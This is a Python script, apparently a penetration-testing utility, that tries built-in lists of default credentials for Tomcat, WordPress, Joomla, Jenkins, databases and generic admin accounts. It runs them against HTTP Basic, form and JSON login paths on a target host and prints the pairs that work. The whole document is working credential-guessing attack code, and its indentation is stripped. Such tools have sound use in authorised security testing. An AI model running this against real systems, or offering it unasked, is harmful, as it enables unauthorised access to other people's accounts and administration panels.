import requests
import json
class DefaultCredsTester:
DEFAULT_CREDS = {
"generic": [
("admin", "admin"),
("admin", "password"),
("admin", "123456"),
("admin", "admin123"),
("administrator", "administrator"),
("root", "root"),
("root", "toor"),
("user", "user"),
("test", "test"),
("guest", "guest"),
],
"tomcat": [
("admin", "admin"),
("tomcat", "tomcat"),
("admin", "s3cret"),
("manager", "manager"),
("role1", "role1"),
],
"jenkins": [
("admin", "admin"),
("admin", "password"),
("admin", ""),
],
"wordpress": [
("admin", "admin"),
("admin", "password"),
("admin", "wp-admin"),
],
"joomla": [
("admin", "admin"),
("admin", "password"),
],
"mysql": [
("root", ""),
("root", "root"),
("root", "mysql"),
("root", "password"),
],
"postgresql": [
("postgres", "postgres"),
("postgres", "password"),
],
"mongodb": [
("admin", "admin"),
("root", "root"),
],
}
def __init__(self, target_url):
self.target = target_url
self.session = requests.Session()
self.results = []
def test_http_basic(self, path, creds):
"""Test HTTP Basic authentication"""
for username, password in creds:
try:
response = self.session.get(
f"{self.target}{path}",
auth=(username, password),
timeout=10
)
if response.status_code == 200:
self.results.append({
"type": "HTTP Basic",
"path": path,
"username": username,
"password": password,
"status": "SUCCESS"
})
return True
except requests.exceptions.RequestException:
pass
return False
def test_form_login(self, path, creds, username_field="username", password_field="password"):
"""Test form-based login"""
for username, password in creds:
try:
response = self.session.post(
f"{self.target}{path}",
data={
username_field: username,
password_field: password
},
allow_redirects=False,
timeout=10
)
if response.status_code in [200, 302]:
if "dashboard" in response.headers.get("Location", "").lower() or \
"invalid" not in response.text.lower():
self.results.append({
"type": "Form Login",
"path": path,
"username": username,
"password": password,
"status": "POSSIBLE SUCCESS"
})
except requests.exceptions.RequestException:
pass
def test_json_login(self, path, creds):
"""Test JSON API login"""
for username, password in creds:
try:
response = self.session.post(
f"{self.target}{path}",
json={"username": username, "password": password},
timeout=10
)
if response.status_code == 200:
try:
data = response.json()
if "token" in data or "success" in data:
self.results.append({
"type": "API Login",
"path": path,
"username": username,
"password": password,
"status": "SUCCESS"
})
except:
pass
except requests.exceptions.RequestException:
pass
def run_tests(self):
"""Run all default credential tests"""
print(f"Testing default credentials on {self.target}")
paths = {
"/manager/html": ("tomcat", "HTTP Basic"),
"/admin": ("generic", "Form"),
"/login": ("generic", "Form"),
"/api/login": ("generic", "JSON"),
"/wp-login.php": ("wordpress", "Form"),
"/administrator": ("joomla", "Form"),
}
for path, (cred_type, auth_type) in paths.items():
creds = self.DEFAULT_CREDS.get(cred_type, self.DEFAULT_CREDS["generic"])
print(f"Testing {path} ({auth_type})...")
if auth_type == "HTTP Basic":
self.test_http_basic(path, creds)
elif auth_type == "Form":
self.test_form_login(path, creds)
elif auth_type == "JSON":
self.test_json_login(path, creds)
return self.results
def print_results(self):
"""Print test results"""
print("\n=== DEFAULT CREDENTIALS TEST RESULTS ===\n")
if self.results:
print("[!] POTENTIAL VULNERABILITIES FOUND:\n")
for result in self.results:
print(f" Type: {result['type']}")
print(f" Path: {result['path']}")
print(f" Credentials: {result['username']}:{result['password']}")
print(f" Status: {result['status']}")
print()
else:
print("[+] No default credentials found")
tester = DefaultCredsTester("https://target.com")
tester.run_tests()
tester.print_results()